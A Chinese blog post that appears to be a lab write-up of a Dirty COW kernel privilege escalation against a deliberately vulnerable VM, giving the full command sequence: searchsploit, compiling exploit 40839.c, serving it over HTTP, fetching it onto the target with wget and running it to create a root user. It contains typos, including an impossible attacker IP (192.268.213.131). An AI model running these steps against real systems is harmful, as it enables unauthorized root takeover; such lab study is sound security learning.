window.cnblogsConfig = { webpageTitleOnblur: '404-页面丢失', } window.cnblogsConfig = { webpageTitleOnblurTimeOut: 500, }

内核脏牛提权实验

脏牛靶机

已知

  • 靶机账号密码:msfadmin/msfadmin
  • 靶机开启ssh服务

开启靶机获取IP

msfadmin/msfadmin登录

ifconfig	#获取靶机IP

image-20241111192459019

得到靶机IP:192.168.213.247

开启kali ssh链接靶机

直接输入ssh msfadmin@192.168.213.247进行链接会出现报错

出现报错的原因是ssh客户端和服务器之间的主机秘钥类型不匹配。主机秘钥是用来验证服务器身份和建立安全链接的。kali中的ssh版本高,默认不支持ssh-rsa和ssh-dss算法(二者被认为是不安全的)。而靶机可能只提供了这两种算法,导致了无法协商的问题。

此时需要指定算法:

ssh -o HostKeyAlgorithms=+ssh-dss mafadmin@192.168.213.247

image-20241111161717363

输入yes确认链接,输入密码,成功链接到靶机。

内核提权

内核提权步骤:

  1. 对目标系统进行信息收集,获取到系统内核信息及版本信息;
  2. 根据内核版本获取其对应的漏洞及EXP;
  3. 使用找到的EXP对目标系统发起攻击,完成提权操作。

信息收集

uname -a 	#查看系统全部信息

image-20241111161753875

内核版本:linux-2.6.24

id
whoami

image-20241111200312206

msfadmin的普通用户

搜索kali中对应版本的EXP

searchsploit linux kernel 2.6.24

image-20241111162047827

得到EXP列表,一个一个使看是否能漏洞利用。

这里我们使用比较出名的脏牛漏洞Dirty COW来进行提权,可以看到exp为40839.c

将其保存到当前目录下:

searchsploit -m 40839.c

image-20241111162344594

打开.c文件查看注释提示

vim 40839.c

image-20241111163123069

可以得到信息:

  • 需要编译且需要一些参数
    • -pthread:这个选项告诉 GCC 在编译和链接时使用 POSIX 线程库(pthread)。
    • -lcrypt:指向 libcrypt.so(共享库)或 libcrypt.a(静态库)的链接指令,这个库提供了一些加密相关的功能。
  • 运行编译后的二进制文件。

编译exp 并命名为dirty:

gcc -pthread 40839.c -o dirty -lcrypt 

开启http服务,为把编译好的dirty文件上传到靶机做准备:

python -m http.server 8000

image-20241111201455209

重开一个bash查看kali的IP:

image-20241111163553825

kali的IP为192.268.213.131

靶机运行EXP

回到链接目标机的终端进行下载:

wget http://192.268.213.131:8000/dirty

image-20241111163833804

运行EXP:

./dirty

输入新的密码,返回提示显示密码重置成功。

用户名为firefart

image-20241111163907248

切换用户,输入刚刚设置的密码即可获得管理员权限:

su firefart

image-20241111164043006


演示过程有一处不妥:

.c文件是在kali系统编译后上传到靶机中的,可能会出现因为环境不用而导致kali系统中编译的二进制文件无法在靶机中正常运行。所以,更正确做法是将.c文件上传至靶机中,在靶机中编译后运行可以避免因环境导致的问题。

posted @ 2024-11-11 20:35  憂心如惔  阅读(17)  评论(0编辑  收藏  举报